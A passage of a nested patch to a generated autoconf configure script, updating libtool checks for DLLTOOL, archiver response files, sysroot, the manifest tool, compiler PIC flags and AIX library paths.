-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_DLLTOOL" = x; then
-+ DLLTOOL="false"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ DLLTOOL=$ac_ct_DLLTOOL
-+ fi
-+else
-+ DLLTOOL="$ac_cv_prog_DLLTOOL"
-+fi
-+
-+test -z "$DLLTOOL" && DLLTOOL=dlltool
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to associate runtime and link libraries" >&5
-+$as_echo_n "checking how to associate runtime and link libraries... " >&6; }
-+if ${lt_cv_sharedlib_from_linklib_cmd+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_sharedlib_from_linklib_cmd='unknown'
-+
-+case $host_os in
-+cygwin* | mingw* | pw32* | cegcc*)
-+ # two different shell functions defined in ltmain.sh
-+ # decide which to use based on capabilities of $DLLTOOL
-+ case `$DLLTOOL --help 2>&1` in
-+ *--identify-strict*)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
-+ ;;
-+ *)
-+ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
-+ ;;
-+ esac
-+ ;;
-+*)
-+ # fallback: assume linklib IS sharedlib
-+ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
-+ ;;
-+esac
-+
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sharedlib_from_linklib_cmd" >&5
-+$as_echo "$lt_cv_sharedlib_from_linklib_cmd" >&6; }
-+sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
-+test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
-+
-+
-+
-+
-+
-+
-+
-+if test -n "$ac_tool_prefix"; then
-+ for ac_prog in ar
-+ do
-+ # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
-+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_AR+:} false; then :
-@@ -6841,7 +7095,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_AR="${ac_tool_prefix}ar"
-+ ac_cv_prog_AR="$ac_tool_prefix$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6861,11 +7115,15 @@ $as_echo "no" >&6; }
- fi
-
-
-+ test -n "$AR" && break
-+ done
- fi
--if test -z "$ac_cv_prog_AR"; then
-+if test -z "$AR"; then
- ac_ct_AR=$AR
-- # Extract the first word of "ar", so it can be a program name with args.
--set dummy ar; ac_word=$2
-+ for ac_prog in ar
-+do
-+ # Extract the first word of "$ac_prog", so it can be a program name with args.
-+set dummy $ac_prog; ac_word=$2
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
- $as_echo_n "checking for $ac_word... " >&6; }
- if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6881,7 +7139,7 @@ do
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-- ac_cv_prog_ac_ct_AR="ar"
-+ ac_cv_prog_ac_ct_AR="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-@@ -6900,6 +7158,10 @@ else
- $as_echo "no" >&6; }
- fi
-
-+
-+ test -n "$ac_ct_AR" && break
-+done
-+
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
-@@ -6911,16 +7173,72 @@ ac_tool_warned=yes ;;
- esac
- AR=$ac_ct_AR
- fi
--else
-- AR="$ac_cv_prog_AR"
- fi
-
--test -z "$AR" && AR=ar
--test -z "$AR_FLAGS" && AR_FLAGS=cru
-+: ${AR=ar}
-+: ${AR_FLAGS=cru}
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
-+$as_echo_n "checking for archiver @FILE support... " >&6; }
-+if ${lt_cv_ar_at_file+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_ar_at_file=no
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+/* end confdefs.h. */
-+
-+int
-+main ()
-+{
-
-+ ;
-+ return 0;
-+}
-+_ACEOF
-+if ac_fn_c_try_compile "$LINENO"; then :
-+ echo conftest.$ac_objext > conftest.lst
-+ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&5'
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -eq 0; then
-+ # Ensure the archiver fails upon bogus file names.
-+ rm -f conftest.$ac_objext libconftest.a
-+ { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$lt_ar_try\""; } >&5
-+ (eval $lt_ar_try) 2>&5
-+ ac_status=$?
-+ $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
-+ test $ac_status = 0; }
-+ if test "$ac_status" -ne 0; then
-+ lt_cv_ar_at_file=@
-+ fi
-+ fi
-+ rm -f conftest.* libconftest.a
-
-+fi
-+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
-+$as_echo "$lt_cv_ar_at_file" >&6; }
-
-+if test "x$lt_cv_ar_at_file" = xno; then
-+ archiver_list_spec=
-+else
-+ archiver_list_spec=$lt_cv_ar_at_file
-+fi
-
-
-
-@@ -7262,8 +7580,8 @@ esac
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
-
- # Transform an extracted symbol line into symbol name and symbol address
--lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
--lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (void *) \&\2},/p'"
-+lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
-
- # Handle CRLF in mingw tool chain
- opt_cr=
-@@ -7299,6 +7617,7 @@ for ac_symprfx in "" "_"; do
- else
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
- fi
-+ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-@@ -7340,6 +7659,18 @@ _LT_EOF
- if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
- if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<_LT_EOF > conftest.$ac_ext
-+/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
-+#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
-+/* DATA imports from DLLs on WIN32 con't be const, because runtime
-+ relocations are performed -- see ld's documentation on pseudo-relocs. */
-+# define LT_DLSYM_CONST
-+#elif defined(__osf__)
-+/* This system does not cope well with relocations in const data. */
-+# define LT_DLSYM_CONST
-+#else
-+# define LT_DLSYM_CONST const
-+#endif
-+
- #ifdef __cplusplus
- extern "C" {
- #endif
-@@ -7351,7 +7682,7 @@ _LT_EOF
- cat <<_LT_EOF >> conftest.$ac_ext
-
- /* The mapping between symbol names and symbols. */
--const struct {
-+LT_DLSYM_CONST struct {
- const char *name;
- void *address;
- }
-@@ -7377,8 +7708,8 @@ static const void *lt_preloaded_setup() {
- _LT_EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
-- lt_save_LIBS="$LIBS"
-- lt_save_CFLAGS="$CFLAGS"
-+ lt_globsym_save_LIBS=$LIBS
-+ lt_globsym_save_CFLAGS=$CFLAGS
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -7388,8 +7719,8 @@ _LT_EOF
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
-- LIBS="$lt_save_LIBS"
-- CFLAGS="$lt_save_CFLAGS"
-+ LIBS=$lt_globsym_save_LIBS
-+ CFLAGS=$lt_globsym_save_CFLAGS
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
-@@ -7426,6 +7757,16 @@ else
- $as_echo "ok" >&6; }
- fi
-
-+# Response file support.
-+if test "$lt_cv_nm_interface" = "MS dumpbin"; then
-+ nm_file_list_spec='@'
-+elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
-+ nm_file_list_spec='@'
-+fi
-+
-+
-+
-+
-
-
-
-@@ -7442,6 +7783,45 @@ fi
-
-
-
-+
-+
-+
-+
-+
-+
-+
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
-+$as_echo_n "checking for sysroot... " >&6; }
-+
-+# Check whether --with-libtool-sysroot was given.
-+if test "${with_libtool_sysroot+set}" = set; then :
-+ withval=$with_libtool_sysroot;
-+else
-+ with_libtool_sysroot=no
-+fi
-+
-+
-+lt_sysroot=
-+case ${with_libtool_sysroot} in #(
-+ yes)
-+ if test "$GCC" = yes; then
-+ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
-+ fi
-+ ;; #(
-+ /*)
-+ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
-+ ;; #(
-+ no|'')
-+ ;; #(
-+ *)
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
-+$as_echo "${with_libtool_sysroot}" >&6; }
-+ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
-+ ;;
-+esac
-+
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
-+$as_echo "${lt_sysroot:-no}" >&6; }
-
-
-
-@@ -7653,6 +8033,123 @@ esac
-
- need_locks="$enable_libtool_lock"
-
-+if test -n "$ac_tool_prefix"; then
-+ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
-+set dummy ${ac_tool_prefix}mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$MANIFEST_TOOL"; then
-+ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
-+if test -n "$MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
-+$as_echo "$MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+
-+fi
-+if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
-+ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
-+ # Extract the first word of "mt", so it can be a program name with args.
-+set dummy mt; ac_word=$2
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-+$as_echo_n "checking for $ac_word... " >&6; }
-+if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
-+else
-+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-+for as_dir in $PATH
-+do
-+ IFS=$as_save_IFS
-+ test -z "$as_dir" && as_dir=.
-+ for ac_exec_ext in '' $ac_executable_extensions; do
-+ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
-+ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
-+ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
-+ break 2
-+ fi
-+done
-+ done
-+IFS=$as_save_IFS
-+
-+fi
-+fi
-+ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
-+if test -n "$ac_ct_MANIFEST_TOOL"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
-+$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
-+else
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-+$as_echo "no" >&6; }
-+fi
-+
-+ if test "x$ac_ct_MANIFEST_TOOL" = x; then
-+ MANIFEST_TOOL=":"
-+ else
-+ case $cross_compiling:$ac_tool_warned in
-+yes:)
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-+$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-+ac_tool_warned=yes ;;
-+esac
-+ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
-+ fi
-+else
-+ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
-+fi
-+
-+test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
-+$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
-+if ${lt_cv_path_mainfest_tool+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_path_mainfest_tool=no
-+ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
-+ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
-+ cat conftest.err >&5
-+ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
-+ lt_cv_path_mainfest_tool=yes
-+ fi
-+ rm -f conftest*
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
-+$as_echo "$lt_cv_path_mainfest_tool" >&6; }
-+if test "x$lt_cv_path_mainfest_tool" != xyes; then
-+ MANIFEST_TOOL=:
-+fi
-+
-+
-+
-+
-+
-
- case $host_os in
- rhapsody* | darwin*)
-@@ -8216,6 +8713,8 @@ _LT_EOF
- $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
- echo "$AR cru libconftest.a conftest.o" >&5
- $AR cru libconftest.a conftest.o 2>&5
-+ echo "$RANLIB libconftest.a" >&5
-+ $RANLIB libconftest.a 2>&5
- cat > conftest.c << _LT_EOF
- int main() { return 0;}
- _LT_EOF
-@@ -8380,7 +8879,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8469,7 +8969,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8767,8 +9267,6 @@ fi
- lt_prog_compiler_pic=
- lt_prog_compiler_static=
-
--{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
--$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
-@@ -8934,6 +9432,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='--shared'
- lt_prog_compiler_static='--static'
- ;;
-+ nagfor*)
-+ # NAG Fortran compiler
-+ lt_prog_compiler_wl='-Wl,-Wl,,'
-+ lt_prog_compiler_pic='-PIC'
-+ lt_prog_compiler_static='-Bstatic'
-+ ;;
- pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
-@@ -8996,7 +9500,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
-- f77* | f90* | f95*)
-+ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
-@@ -9053,13 +9557,17 @@ case $host_os in
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
- ;;
- esac
--{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
--$as_echo "$lt_prog_compiler_pic" >&6; }
--
--
--
--
-
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-+$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-+if ${lt_cv_prog_compiler_pic+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
-+fi
-+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
-+$as_echo "$lt_cv_prog_compiler_pic" >&6; }
-+lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
-
- #
- # Check to make sure the PIC flag actually works.
-@@ -9120,6 +9628,11 @@ fi
-
-
-
-+
-+
-+
-+
-+
- #
- # Check to make sure the static flag actually works.
- #
-@@ -9470,7 +9983,8 @@ _LT_EOF
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
-- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
-+ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
-+ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
-
- if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9569,12 +10083,12 @@ _LT_EOF
- whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
- hardcode_libdir_flag_spec=
- hardcode_libdir_flag_spec_ld='-rpath $libdir'
-- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
-+ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
- if test "x$supports_anon_versioning" = xyes; then
- archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
- cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
- echo "local: *; };" >> $output_objdir/$libname.ver~
-- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
-+ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
- fi
- ;;
- esac
-@@ -9588,8 +10102,8 @@ _LT_EOF
- archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
- wlarc=
- else
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- fi
- ;;
-
-@@ -9607,8 +10121,8 @@ _LT_EOF
-
- _LT_EOF
- elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9654,8 +10168,8 @@ _LT_EOF
-
- *)
- if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
-- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
-+ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
-+ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
- else
- ld_shlibs=no
- fi
-@@ -9785,7 +10299,13 @@ _LT_EOF
- allow_undefined_flag='-berok'
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9798,22 +10318,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9825,7 +10352,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- else
- # Determine the default libpath from the value encoded in an
- # empty executable.
-- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
-+ if test "${lt_cv_aix_libpath+set}" = set; then
-+ aix_libpath=$lt_cv_aix_libpath
-+else
-+ if ${lt_cv_aix_libpath_+:} false; then :
-+ $as_echo_n "(cached) " >&6
-+else
-+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
- int
-@@ -9838,22 +10371,29 @@ main ()
- _ACEOF
- if ac_fn_c_try_link "$LINENO"; then :
-
--lt_aix_libpath_sed='
-- /Import File Strings/,/^$/ {
-- /^0/ {
-- s/^0 *\(.*\)$/\1/
-- p
-- }
-- }'
--aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--# Check for a 64-bit object if we didn't find anything.
--if test -z "$aix_libpath"; then
-- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
--fi
-+ lt_aix_libpath_sed='
-+ /Import File Strings/,/^$/ {
-+ /^0/ {
-+ s/^0 *\([^ ]*\) *$/\1/
-+ p
-+ }
-+ }'
-+ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ # Check for a 64-bit object if we didn't find anything.
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
-+ fi
- fi
- rm -f core conftest.err conftest.$ac_objext \
- conftest$ac_exeext conftest.$ac_ext
--if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
-+ if test -z "$lt_cv_aix_libpath_"; then
-+ lt_cv_aix_libpath_="/usr/lib:/lib"
-+ fi
-+
-+fi
-+
-+ aix_libpath=$lt_cv_aix_libpath_
-+fi
-
- hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
- # Warning - without using the other run time loading flags,
-@@ -9898,20 +10438,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
- # Microsoft Visual C++.
- # hardcode_libdir_flag_spec is actually meaningless, as there is
- # no search path for DLLs.
-- hardcode_libdir_flag_spec=' '
-- allow_undefined_flag=unsupported
-- # Tell ltmain to make .lib files, not .a files.
-- libext=lib
-- # Tell ltmain to make .dll files, not .so files.
-- shrext_cmds=".dll"
-- # FIXME: Setting linknames here is a bad hack.
-- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
-- # The linker will automatically build a .lib file if we build a DLL.
-- old_archive_from_new_cmds='true'
-- # FIXME: Should let the user specify the lib program.
